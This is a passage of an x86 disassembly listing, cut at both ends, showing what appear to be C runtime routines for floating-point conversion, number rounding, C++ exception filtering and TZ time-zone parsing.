sub_42025F endp
; =============== S U B R O U T I N E =======================================
sub_4202E8 proc near ; CODE XREF: sub_420387+48p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
push esi
push 20h
cdq
pop ecx
idiv ecx
push 1Fh
mov esi, eax
mov eax, [esp+8+arg_4]
cdq
idiv ecx
pop ecx
mov eax, [esp+4+arg_0]
sub ecx, edx
or edx, 0FFFFFFFFh
shl edx, cl
not edx
test [eax+esi*4], edx
jnz short loc_42032D
inc esi
cmp esi, 3
jge short loc_420328
lea eax, [eax+esi*4]
loc_42031A: ; CODE XREF: sub_4202E8+3Ej
cmp dword ptr [eax], 0
jnz short loc_42032D
inc esi
add eax, 4
cmp esi, 3
jl short loc_42031A
loc_420328: ; CODE XREF: sub_4202E8+2Dj
push 1
pop eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_42032D: ; CODE XREF: sub_4202E8+27j
; sub_4202E8+35j
xor eax, eax
pop esi
retn
sub_4202E8 endp
; =============== S U B R O U T I N E =======================================
sub_420331 proc near ; CODE XREF: sub_420387+57p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
push ebx
push esi
push edi
push 20h
mov ebx, [esp+10h+arg_0]
cdq
pop ecx
idiv ecx
mov esi, eax
mov eax, [esp+0Ch+arg_4]
cdq
idiv ecx
lea edi, [ebx+esi*4]
push edi
push 1Fh
pop ecx
push 1
pop eax
sub ecx, edx
shl eax, cl
push eax
push dword ptr [edi]
call sub_421337
add esp, 0Ch
dec esi
js short loc_420383
lea edi, [ebx+esi*4]
loc_42036A: ; CODE XREF: sub_420331+50j
test eax, eax
jz short loc_420383
push edi
push 1
push dword ptr [edi]
call sub_421337
add esp, 0Ch
dec esi
sub edi, 4
test esi, esi
jge short loc_42036A
loc_420383: ; CODE XREF: sub_420331+34j
; sub_420331+3Bj
pop edi
pop esi
pop ebx
retn
sub_420331 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_420387 proc near ; CODE XREF: sub_4204E2+81p
; sub_4204E2+CCp
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, [ebp+arg_4]
push ebx
push esi
push edi
lea edi, [eax-1]
push 20h
pop ecx
and [ebp+var_4], 0
lea ebx, [edi+1]
push 20h
mov eax, ebx
pop esi
cdq
idiv ecx
push 1Fh
mov ecx, eax
mov eax, ebx
cdq
idiv esi
mov eax, [ebp+arg_0]
pop esi
push 1
mov [ebp+var_8], ecx
lea eax, [eax+ecx*4]
mov [ebp+arg_4], eax
sub esi, edx
pop edx
mov ecx, esi
shl edx, cl
test [eax], edx
jz short loc_4203EB
inc ebx
push ebx
push [ebp+arg_0]
call sub_4202E8
pop ecx
test eax, eax
pop ecx
jnz short loc_4203E8
push edi
push [ebp+arg_0]
call sub_420331
pop ecx
mov [ebp+var_4], eax
pop ecx
loc_4203E8: ; CODE XREF: sub_420387+51j
mov eax, [ebp+arg_4]
loc_4203EB: ; CODE XREF: sub_420387+41j
or edx, 0FFFFFFFFh
mov ecx, esi
shl edx, cl
push 3
pop ecx
and [eax], edx
mov eax, [ebp+var_8]
inc eax
cmp eax, ecx
jge short loc_42040B
mov edx, [ebp+arg_0]
sub ecx, eax
lea edi, [edx+eax*4]
xor eax, eax
rep stosd
loc_42040B: ; CODE XREF: sub_420387+76j
mov eax, [ebp+var_4]
pop edi
pop esi
pop ebx
leave
retn
sub_420387 endp
; =============== S U B R O U T I N E =======================================
sub_420413 proc near ; CODE XREF: sub_4204E2+75p
; sub_4204E2+B6p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov ecx, [esp+arg_0]
push esi
push 3
sub ecx, eax
pop edx
loc_420421: ; CODE XREF: sub_420413+17j
mov esi, [eax]
mov [ecx+eax], esi
add eax, 4
dec edx
jnz short loc_420421
pop esi
retn
sub_420413 endp
; =============== S U B R O U T I N E =======================================
sub_42042E proc near ; CODE XREF: sub_4204E2+5Fp
; sub_4204E2+9Ep ...
arg_0 = dword ptr 4
push edi
mov edi, [esp+4+arg_0]
xor eax, eax
stosd
stosd
stosd
pop edi
retn
sub_42042E endp
; =============== S U B R O U T I N E =======================================
sub_42043A proc near ; CODE XREF: sub_4204E2+4Dp
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
xor ecx, ecx
loc_420440: ; CODE XREF: sub_42043A+12j
cmp dword ptr [eax], 0
jnz short loc_420452
inc ecx
add eax, 4
cmp ecx, 3
jl short loc_420440
push 1
pop eax
retn
; ---------------------------------------------------------------------------
loc_420452: ; CODE XREF: sub_42043A+9j
xor eax, eax
retn
sub_42043A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_420455 proc near ; CODE XREF: sub_4204E2+C0p
; sub_4204E2+DAp ...
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
mov eax, [ebp+arg_4]
push ebx
push esi
push edi
push 20h
mov edi, [ebp+arg_0]
pop ebx
or esi, 0FFFFFFFFh
cdq
mov ecx, ebx
mov [ebp+var_4], 3
idiv ecx
mov [ebp+var_C], eax
mov eax, [ebp+arg_4]
cdq
idiv ecx
and [ebp+arg_4], 0
mov ecx, edx
shl esi, cl
sub ebx, edx
not esi
loc_42048B: ; CODE XREF: sub_420455+58j
mov eax, [edi]
mov ecx, eax
and ecx, esi
mov [ebp+var_8], ecx
mov ecx, edx
shr eax, cl
or eax, [ebp+arg_4]
mov [edi], eax
mov eax, [ebp+var_8]
mov ecx, ebx
add edi, 4
shl eax, cl
dec [ebp+var_4]
mov [ebp+arg_4], eax
jnz short loc_42048B
mov edi, [ebp+var_C]
push 2
pop ebx
mov esi, edi
push 8
pop ecx
shl esi, 2
loc_4204BD: ; CODE XREF: sub_420455+86j
cmp ebx, edi
jl short loc_4204D0
mov edx, [ebp+arg_0]
mov eax, ecx
sub eax, esi
mov eax, [eax+edx]
mov [ecx+edx], eax
jmp short loc_4204D7
; ---------------------------------------------------------------------------
loc_4204D0: ; CODE XREF: sub_420455+6Aj
mov eax, [ebp+arg_0]
and dword ptr [ecx+eax], 0
loc_4204D7: ; CODE XREF: sub_420455+79j
dec ebx
sub ecx, 4
jns short loc_4204BD
pop edi
pop esi
pop ebx
leave
retn
sub_420455 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4204E2 proc near ; CODE XREF: sub_42064E+Dp
; sub_420664+Dp
var_18 = byte ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 18h
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
movzx ecx, word ptr [eax+0Ah]
mov ebx, ecx
and ecx, 8000h
mov [ebp+arg_0], ecx
mov ecx, [eax+6]
mov [ebp+var_C], ecx
mov ecx, [eax+2]
movzx eax, word ptr [eax]
mov edi, [ebp+arg_8]
and ebx, 7FFFh
sub ebx, 3FFFh
mov [ebp+var_8], ecx
shl eax, 10h
cmp ebx, 0FFFFC001h
mov [ebp+var_4], eax
jnz short loc_42054F
lea eax, [ebp+var_C]
xor esi, esi
push eax
call sub_42043A
test eax, eax
pop ecx
jnz loc_42060E
lea eax, [ebp+var_C]
push eax
call sub_42042E
pop ecx
loc_420547: ; CODE XREF: sub_4204E2+E4j
push 2
loc_420549: ; CODE XREF: sub_4204E2+110j
pop eax
jmp loc_420610
; ---------------------------------------------------------------------------
loc_42054F: ; CODE XREF: sub_4204E2+45j
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_18]
push eax
call sub_420413
push dword ptr [edi+8]
lea eax, [ebp+var_C]
push eax
call sub_420387
add esp, 10h
test eax, eax
jz short loc_420570
inc ebx
loc_420570: ; CODE XREF: sub_4204E2+8Bj
mov eax, [edi+4]
mov ecx, eax
sub ecx, [edi+8]
cmp ebx, ecx
jge short loc_420588
lea eax, [ebp+var_C]
push eax
call sub_42042E
pop ecx
jmp short loc_4205C4
; ---------------------------------------------------------------------------
loc_420588: ; CODE XREF: sub_4204E2+98j
cmp ebx, eax
jg short loc_4205CB
sub eax, ebx
mov esi, eax
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_C]
push eax
call sub_420413
lea eax, [ebp+var_C]
push esi
push eax
call sub_420455
push dword ptr [edi+8]
lea eax, [ebp+var_C]
push eax
call sub_420387
mov eax, [edi+0Ch]
inc eax
push eax
lea eax, [ebp+var_C]
push eax
call sub_420455
add esp, 20h
loc_4205C4: ; CODE XREF: sub_4204E2+A4j
xor esi, esi
jmp loc_420547
; ---------------------------------------------------------------------------
loc_4205CB: ; CODE XREF: sub_4204E2+A8j
cmp ebx, [edi]
jl short loc_4205F7
lea eax, [ebp+var_C]
push eax
call sub_42042E
push dword ptr [edi+0Ch]
or byte ptr [ebp+var_C+3], 80h
lea eax, [ebp+var_C]
push eax
call sub_420455
mov esi, [edi+14h]
add esp, 0Ch
add esi, [edi]
push 1
jmp loc_420549
; ---------------------------------------------------------------------------
loc_4205F7: ; CODE XREF: sub_4204E2+EBj
push dword ptr [edi+0Ch]
mov esi, [edi+14h]
and byte ptr [ebp+var_C+3], 7Fh
lea eax, [ebp+var_C]
push eax
add esi, ebx
call sub_420455
pop ecx
pop ecx
loc_42060E: ; CODE XREF: sub_4204E2+55j
xor eax, eax
loc_420610: ; CODE XREF: sub_4204E2+68j
push 1Fh
pop ecx
sub ecx, [edi+0Ch]
mov edi, [edi+10h]
shl esi, cl
mov ecx, [ebp+arg_0]
neg ecx
sbb ecx, ecx
and ecx, 80000000h
or esi, ecx
or esi, [ebp+var_C]
cmp edi, 40h
jnz short loc_42063F
mov ecx, [ebp+arg_4]
mov edx, [ebp+var_8]
mov [ecx+4], esi
mov [ecx], edx
jmp short loc_420649
; ---------------------------------------------------------------------------
loc_42063F: ; CODE XREF: sub_4204E2+14Ej
cmp edi, 20h
jnz short loc_420649
mov ecx, [ebp+arg_4]
mov [ecx], esi
loc_420649: ; CODE XREF: sub_4204E2+15Bj
; sub_4204E2+160j
pop edi
pop esi
pop ebx
leave
retn
sub_4204E2 endp
; =============== S U B R O U T I N E =======================================
sub_42064E proc near ; CODE XREF: sub_42067A+23p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push offset dword_436610
push [esp+4+arg_4]
push [esp+8+arg_0]
call sub_4204E2
add esp, 0Ch
retn
sub_42064E endp
; =============== S U B R O U T I N E =======================================
sub_420664 proc near ; CODE XREF: sub_4206A7+23p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push offset dword_436628
push [esp+4+arg_4]
push [esp+8+arg_0]
call sub_4204E2
add esp, 0Ch
retn
sub_420664 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42067A proc near ; CODE XREF: sub_41C92F+12p
var_C = byte ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
xor eax, eax
push eax
push eax
push eax
push eax
push [ebp+arg_4]
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+var_C]
push eax
call sub_4214D8
push [ebp+arg_0]
lea eax, [ebp+var_C]
push eax
call sub_42064E
add esp, 24h
leave
retn
sub_42067A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4206A7 proc near ; CODE XREF: sub_41C92F+2Dp
var_C = byte ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
xor eax, eax
push eax
push eax
push eax
push eax
push [ebp+arg_4]
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+var_C]
push eax
call sub_4214D8
push [ebp+arg_0]
lea eax, [ebp+var_C]
push eax
call sub_420664
add esp, 24h
leave
retn
sub_4206A7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4206D4 proc near ; CODE XREF: sub_41C96D+65p
; sub_41CA71+63p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
mov edx, [ebp+arg_8]
push ebx
mov ebx, [ebp+arg_4]
push esi
mov esi, [ebp+arg_0]
mov ecx, [edx+0Ch]
push edi
lea edi, [esi+1]
mov byte ptr [esi], 30h
test ebx, ebx
mov eax, edi
jle short loc_420711
mov [ebp+arg_0], ebx
xor ebx, ebx
loc_4206F7: ; CODE XREF: sub_4206D4+38j
mov dl, [ecx]
test dl, dl
jz short loc_420703
movsx edx, dl
inc ecx
jmp short loc_420706
; ---------------------------------------------------------------------------
loc_420703: ; CODE XREF: sub_4206D4+27j
push 30h
pop edx
loc_420706: ; CODE XREF: sub_4206D4+2Dj
mov [eax], dl
inc eax
dec [ebp+arg_0]
jnz short loc_4206F7
mov edx, [ebp+arg_8]
loc_420711: ; CODE XREF: sub_4206D4+1Cj
and byte ptr [eax], 0
test ebx, ebx
jl short loc_42072A
cmp byte ptr [ecx], 35h
jl short loc_42072A
loc_42071D: ; CODE XREF: sub_4206D4+52j
dec eax
cmp byte ptr [eax], 39h
jnz short loc_420728
mov byte ptr [eax], 30h
jmp short loc_42071D
; ---------------------------------------------------------------------------
loc_420728: ; CODE XREF: sub_4206D4+4Dj
inc byte ptr [eax]
loc_42072A: ; CODE XREF: sub_4206D4+42j
; sub_4206D4+47j
cmp byte ptr [esi], 31h
jnz short loc_420734
inc dword ptr [edx+4]
jmp short loc_420746
; ---------------------------------------------------------------------------
loc_420734: ; CODE XREF: sub_4206D4+59j
push edi
call sub_417AB0
inc eax
push eax
push edi
push esi
call sub_4182C0
add esp, 10h
loc_420746: ; CODE XREF: sub_4206D4+5Ej
pop edi
pop esi
pop ebx
pop ebp
retn
sub_4206D4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42074B proc near ; CODE XREF: sub_41C96D+3Fp
; sub_41CA71+46p ...
var_C = byte ptr -0Ch
arg_0 = byte ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push esi
lea eax, [ebp+arg_0]
push edi
push eax
lea eax, [ebp+var_C]
push eax
call sub_4207AF
pop ecx
lea esi, [ebp+var_C]
pop ecx
push offset word_4CDB88
push 0
push 11h
sub esp, 0Ch
mov edi, esp
movsd
movsd
movsw
call sub_4219A9
mov dword_4CDBB0, eax
add esp, 18h
movsx eax, byte_4CDB8A
mov dword_4CDBA8, eax
pop edi
movsx eax, word_4CDB88
mov dword_4CDBAC, eax
mov dword_4CDBB4, offset dword_4CDB8C
mov eax, offset dword_4CDBA8
pop esi
leave
retn
sub_42074B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4207AF proc near ; CODE XREF: sub_42074B+10p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
mov edx, [ebp+arg_4]
push ebx
push esi
push edi
mov ax, [edx+6]
mov edi, 7FFh
mov ecx, eax
and eax, 8000h
shr ecx, 4
and ecx, edi
mov [ebp+arg_4], eax
mov eax, [edx+4]
mov edx, [edx]
movzx ebx, cx
mov esi, 80000000h
and eax, 0FFFFFh
test ebx, ebx
mov [ebp+var_4], esi
jz short loc_4207FD
cmp ebx, edi
jz short loc_4207F6
lea edi, [ecx+3C00h]
jmp short loc_42081E
; ---------------------------------------------------------------------------
loc_4207F6: ; CODE XREF: sub_4207AF+3Dj
mov edi, 7FFFh
jmp short loc_42081E
; ---------------------------------------------------------------------------
loc_4207FD: ; CODE XREF: sub_4207AF+39j
xor ebx, ebx
cmp eax, ebx
jnz short loc_420815
cmp edx, ebx
jnz short loc_420815
mov eax, [ebp+arg_0]
mov [eax+4], ebx
mov [eax], ebx
mov [eax+8], bx
jmp short loc_420860
; ---------------------------------------------------------------------------
loc_420815: ; CODE XREF: sub_4207AF+52j
; sub_4207AF+56j
lea edi, [ecx+3C01h]
mov [ebp+var_4], ebx
loc_42081E: ; CODE XREF: sub_4207AF+45j
; sub_4207AF+4Cj
mov ecx, edx
shr ecx, 15h
shl eax, 0Bh
or ecx, eax
mov eax, [ebp+arg_0]
or ecx, [ebp+var_4]
shl edx, 0Bh
mov [eax+4], ecx
mov [eax], edx
loc_420836: ; CODE XREF: sub_4207AF+A6j
test ecx, esi
jnz short loc_420857
mov edx, [eax]
add ecx, ecx
mov ebx, edx
shr ebx, 1Fh
or ebx, ecx
lea ecx, [edx+edx]
mov [eax], ecx
mov [eax+4], ebx
add edi, 0FFFFh
mov ecx, ebx
jmp short loc_420836
; ---------------------------------------------------------------------------
loc_420857: ; CODE XREF: sub_4207AF+89j
mov ecx, [ebp+arg_4]
or ecx, edi
mov [eax+8], cx
loc_420860: ; CODE XREF: sub_4207AF+64j
pop edi
pop esi
pop ebx
leave
retn
sub_4207AF endp
; ---------------------------------------------------------------------------
push 2
call sub_419CDA
pop ecx
retn
; =============== S U B R O U T I N E =======================================
sub_42086E proc near ; DATA XREF: ___:00435FE8o
; ___:00436AB0o
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
mov eax, [esi]
cmp dword ptr [eax], 0E06D7363h
jnz short loc_420891
cmp dword ptr [eax+10h], 3
jnz short loc_420891
cmp dword ptr [eax+14h], 19930520h
jnz short loc_420891
jmp sub_41D4FC
; ---------------------------------------------------------------------------
loc_420891: ; CODE XREF: sub_42086E+Dj
; sub_42086E+13j ...
mov eax, dword_4CDBB8
test eax, eax
jz short loc_4208AE
push eax
call sub_42090A
test eax, eax
pop ecx
jz short loc_4208AE
push esi
call dword_4CDBB8
jmp short loc_4208B0
; ---------------------------------------------------------------------------
loc_4208AE: ; CODE XREF: sub_42086E+2Aj
; sub_42086E+35j
xor eax, eax
loc_4208B0: ; CODE XREF: sub_42086E+3Ej
pop esi
retn 4
sub_42086E endp
; ---------------------------------------------------------------------------
dword_4208B4 dd 42086E68h, 0F742E800h, 0A390021Bh, 4CDBB8h, 0B835FFC3h
; DATA XREF: ___:00426024o
dd 90004CDBh, 1BF72FE8h
; ---------------------------------------------------------------------------
add al, bl
; =============== S U B R O U T I N E =======================================
sub_4208D2 proc near ; CODE XREF: sub_41CD45+6Bp
; sub_41D256+61p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push 1
pop esi
push [esp+4+arg_4]
push [esp+8+arg_0]
nop
call near ptr 25D0AF6h
test eax, eax
jz short loc_4208EA
xor esi, esi
loc_4208EA: ; CODE XREF: sub_4208D2+14j
mov eax, esi
pop esi
retn
sub_4208D2 endp
; =============== S U B R O U T I N E =======================================
sub_4208EE proc near ; CODE XREF: sub_41D256+73p
; sub_41D256+BFp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push 1
pop esi
push [esp+4+arg_4]
push [esp+8+arg_0]
call near ptr 2860A12h
nop
test eax, eax
jz short loc_420906
xor esi, esi
loc_420906: ; CODE XREF: sub_4208EE+14j
mov eax, esi
pop esi
retn
sub_4208EE endp
; =============== S U B R O U T I N E =======================================
sub_42090A proc near ; CODE XREF: sub_41D256+15Bp
; sub_42086E+2Dp
arg_0 = dword ptr 4
push esi
push 1
pop esi
push [esp+4+arg_0]
nop
call near ptr 25D0AC3h
test eax, eax
jz short loc_42091E
xor esi, esi
loc_42091E: ; CODE XREF: sub_42090A+10j
mov eax, esi
pop esi
retn
sub_42090A endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_41D4FC
loc_420922: ; CODE XREF: sub_41D4FC:loc_41D54Dj
push 0Ah
call sub_41F885
push 16h
call sub_421C3C
pop ecx
pop ecx
push 3
call sub_419AF6
; END OF FUNCTION CHUNK FOR sub_41D4FC
; =============== S U B R O U T I N E =======================================
sub_420939 proc near ; CODE XREF: sub_41D609:loc_41D648p
cmp dword_4CDC78, 0
jnz short locret_42094D
call sub_42094E
inc dword_4CDC78
locret_42094D: ; CODE XREF: sub_420939+7j
retn
sub_420939 endp
; =============== S U B R O U T I N E =======================================
sub_42094E proc near ; CODE XREF: sub_420939+9p
var_4 = dword ptr -4
push ecx
push ebx
push ebp
push esi
push edi
xor ebp, ebp
or ebx, 0FFFFFFFFh
push offset aTz ; "TZ"
xor edi, edi
mov dword_4CDBC0, ebp
mov dword_4366E8, ebx
mov dword_4366D8, ebx
call sub_421DAE
mov esi, eax
pop ecx
cmp esi, ebp
jnz loc_420A77
push offset dword_4CDBC8
nop
call near ptr 2810000h
cmp eax, ebx
jz loc_420BA6
mov eax, dword_4CDBC8
mov ecx, dword_4CDC1C
imul eax, 3Ch
cmp word_4CDC0E, bp
push 1
pop edx
mov dword_436640, eax
mov dword_4CDBC0, edx
jz short loc_4209C5
mov esi, ecx
imul esi, 3Ch
add eax, esi
mov dword_436640, eax
loc_4209C5: ; CODE XREF: sub_42094E+69j
cmp word_4CDC62, bp
jz short loc_4209E9
mov eax, dword_4CDC70
cmp eax, ebp
jz short loc_4209E9
sub eax, ecx
mov dword_436644, edx
imul eax, 3Ch
mov dword_436648, eax
jmp short loc_4209F5
; ---------------------------------------------------------------------------
loc_4209E9: ; CODE XREF: sub_42094E+7Ej
; sub_42094E+87j
mov dword_436644, ebp
mov dword_436648, ebp
loc_4209F5: ; CODE XREF: sub_42094E+99j
lea eax, [esp+14h+var_4]
mov esi, dword_424150
push eax
push ebp
push 3Fh
mov edi, 220h
push off_4366CC
push ebx
push offset dword_4CDBCC
push edi
push dword_4CDA58
call esi
test eax, eax
jz short loc_420A32
cmp [esp+14h+var_4], ebp
jnz short loc_420A32
mov eax, off_4366CC
and byte ptr [eax+3Fh], 0
jmp short loc_420A3A
; ---------------------------------------------------------------------------
loc_420A32: ; CODE XREF: sub_42094E+D1j
; sub_42094E+D7j
mov eax, off_4366CC
and byte ptr [eax], 0
loc_420A3A: ; CODE XREF: sub_42094E+E2j
lea eax, [esp+14h+var_4]
push eax
push ebp
push 3Fh
push off_4366D0
push ebx
push offset dword_4CDC20
push edi
push dword_4CDA58
call esi
test eax, eax
jz loc_420B9E
cmp [esp+14h+var_4], ebp
jnz loc_420B9E
mov eax, off_4366D0
and byte ptr [eax+3Fh], 0
jmp loc_420BA6
; ---------------------------------------------------------------------------
loc_420A77: ; CODE XREF: sub_42094E+2Dj
cmp byte ptr [esi], 0
jz loc_420BA6
mov eax, dword_4CDC74
cmp eax, ebp
jz short loc_420A9A
push eax
push esi
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_420BA6
loc_420A9A: ; CODE XREF: sub_42094E+139j
push dword_4CDC74
call sub_417C3B
push esi
call sub_417AB0
inc eax
push eax
call sub_417B89
add esp, 0Ch
cmp eax, ebp
mov dword_4CDC74, eax
jz loc_420BA6
push esi
push eax
call sub_4179C0
push 3
push esi
push off_4366CC
call sub_418C10
mov eax, off_4366CC
add esi, 3
add esp, 14h
and byte ptr [eax+3], 0
cmp byte ptr [esi], 2Dh
jnz short loc_420AEF
push 1
inc esi
pop edi
loc_420AEF: ; CODE XREF: sub_42094E+19Bj
push esi
call sub_417794
pop ecx
mov bl, 30h
mov ecx, eax
imul ecx, 0E10h
mov dword_436640, ecx
loc_420B06: ; CODE XREF: sub_42094E+1C7j
mov al, [esi]
cmp al, 2Bh
jz short loc_420B14
cmp al, bl
jl short loc_420B17
cmp al, 39h
jg short loc_420B17
loc_420B14: ; CODE XREF: sub_42094E+1BCj
inc esi
jmp short loc_420B06
; ---------------------------------------------------------------------------
loc_420B17: ; CODE XREF: sub_42094E+1C0j
; sub_42094E+1C4j
cmp byte ptr [esi], 3Ah
jnz short loc_420B6A
inc esi
push esi
call sub_417794
imul eax, 3Ch
pop ecx
mov ecx, dword_436640
add ecx, eax
mov dword_436640, ecx
loc_420B35: ; CODE XREF: sub_42094E+1F2j
mov al, [esi]
cmp al, bl
jl short loc_420B42
cmp al, 39h
jg short loc_420B42
inc esi
jmp short loc_420B35
; ---------------------------------------------------------------------------
loc_420B42: ; CODE XREF: sub_42094E+1EBj
; sub_42094E+1EFj
cmp byte ptr [esi], 3Ah
jnz short loc_420B6A
inc esi
push esi
call sub_417794
pop ecx
mov ecx, dword_436640
add ecx, eax
mov dword_436640, ecx
loc_420B5D: ; CODE XREF: sub_42094E+21Aj
mov al, [esi]
cmp al, bl
jl short loc_420B6A
cmp al, 39h
jg short loc_420B6A
inc esi
jmp short loc_420B5D
; ---------------------------------------------------------------------------
loc_420B6A: ; CODE XREF: sub_42094E+1CCj
; sub_42094E+1F7j ...
cmp edi, ebp
jz short loc_420B76
neg ecx
mov dword_436640, ecx
loc_420B76: ; CODE XREF: sub_42094E+21Ej
movsx eax, byte ptr [esi]
cmp eax, ebp
mov dword_436644, eax
jz short loc_420B9E
push 3
push esi
push off_4366D0
call sub_418C10
mov eax, off_4366D0
add esp, 0Ch
and byte ptr [eax+3], 0
jmp short loc_420BA6
; ---------------------------------------------------------------------------
loc_420B9E: ; CODE XREF: sub_42094E+10Bj
; sub_42094E+115j ...
mov eax, off_4366D0
and byte ptr [eax], 0
loc_420BA6: ; CODE XREF: sub_42094E+40j
; sub_42094E+124j ...
pop edi
pop esi
pop ebp
pop ebx
pop ecx
retn
sub_42094E endp
; =============== S U B R O U T I N E =======================================
sub_420BAC proc near ; CODE XREF: sub_41D609+A5p
arg_0 = dword ptr 4
push ebx
push esi
push edi
xor edi, edi
cmp dword_436644, edi
jnz short loc_420BC0
loc_420BB9: ; CODE XREF: sub_420BAC+148j
; sub_420BAC+150j ...
xor eax, eax
jmp loc_420D0C
; ---------------------------------------------------------------------------
loc_420BC0: ; CODE XREF: sub_420BAC+Bj
mov esi, [esp+0Ch+arg_0]
push 1
pop ebx
mov eax, [esi+14h]
cmp eax, dword_4366D8
jnz short loc_420BDE
cmp eax, dword_4366E8
jz loc_420CE0
loc_420BDE: ; CODE XREF: sub_420BAC+24j
cmp dword_4CDBC0, edi
jz loc_420CB6
movzx ecx, word_4CDC6E
push ecx
cmp word_4CDC60, di
movzx ecx, word_4CDC6C
push ecx
movzx ecx, word_4CDC6A
push ecx
movzx ecx, word_4CDC68
push ecx
jnz short loc_420C30
movzx ecx, word_4CDC64
push edi
push ecx
movzx ecx, word_4CDC66
push ecx
movzx ecx, word_4CDC62
push ecx
push eax
push ebx
jmp short loc_420C44
; ---------------------------------------------------------------------------
loc_420C30: ; CODE XREF: sub_420BAC+65j
movzx ecx, word_4CDC66
push ecx
push edi
movzx ecx, word_4CDC62
push edi
push ecx
push eax
push edi
loc_420C44: ; CODE XREF: sub_420BAC+82j
push ebx
call sub_420D58
movzx eax, word_4CDC1A
add esp, 2Ch
cmp word_4CDC0C, di
push eax
movzx eax, word_4CDC18
push eax
movzx eax, word_4CDC16
push eax
movzx eax, word_4CDC14
push eax
jnz short loc_420C9E
movzx eax, word_4CDC10
push edi
push eax
movzx eax, word_4CDC12
push eax
movzx eax, word_4CDC0E
push eax
push dword ptr [esi+14h]
push ebx
loc_420C93: ; CODE XREF: sub_420BAC+108j
push edi
call sub_420D58
add esp, 2Ch
jmp short loc_420CE0
; ---------------------------------------------------------------------------
loc_420C9E: ; CODE XREF: sub_420BAC+C8j
movzx eax, word_4CDC12
push eax
push edi
movzx eax, word_4CDC0E
push edi
push eax
push dword ptr [esi+14h]
push edi
jmp short loc_420C93
; ---------------------------------------------------------------------------
loc_420CB6: ; CODE XREF: sub_420BAC+38j
push edi
push edi
push edi
push 2
push edi
push edi
push ebx
push 4
push eax
push ebx
push ebx
call sub_420D58
push edi
push edi
push edi
push 2
push edi
push edi
push 5
push 0Ah
push dword ptr [esi+14h]
push ebx
push edi
call sub_420D58
add esp, 58h
loc_420CE0: ; CODE XREF: sub_420BAC+2Cj
; sub_420BAC+F0j
mov edx, dword_4366DC
mov eax, dword_4366EC
mov ecx, [esi+1Ch]
cmp edx, eax
jge short loc_420D10
cmp ecx, edx
jl loc_420BB9
cmp ecx, eax
jg loc_420BB9
cmp ecx, edx
jle short loc_420D24
cmp ecx, eax
jge short loc_420D24
loc_420D0A: ; CODE XREF: sub_420BAC+166j
; sub_420BAC+16Aj
mov eax, ebx
loc_420D0C: ; CODE XREF: sub_420BAC+Fj
; sub_420BAC+19Dj
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_420D10: ; CODE XREF: sub_420BAC+144j
cmp ecx, eax
jl short loc_420D0A
cmp ecx, edx
jg short loc_420D0A
cmp ecx, eax
jle short loc_420D24
cmp ecx, edx
jl loc_420BB9
loc_420D24: ; CODE XREF: sub_420BAC+158j
; sub_420BAC+15Cj ...
mov eax, [esi+8]
imul eax, 3Ch
add eax, [esi+4]
imul eax, 3Ch
add eax, [esi]
imul eax, 3E8h
cmp ecx, edx
jnz short loc_420D4B
xor ecx, ecx
cmp eax, dword_4366E0
setnl cl
loc_420D47: ; CODE XREF: sub_420BAC+1AAj
mov eax, ecx
jmp short loc_420D0C
; ---------------------------------------------------------------------------
loc_420D4B: ; CODE XREF: sub_420BAC+18Ej
xor ecx, ecx
cmp eax, dword_4366F0
setl cl
jmp short loc_420D47
sub_420BAC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_420D58 proc near ; CODE XREF: sub_420BAC+99p
; sub_420BAC+E8p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
arg_20 = dword ptr 28h
arg_24 = dword ptr 2Ch
arg_28 = dword ptr 30h
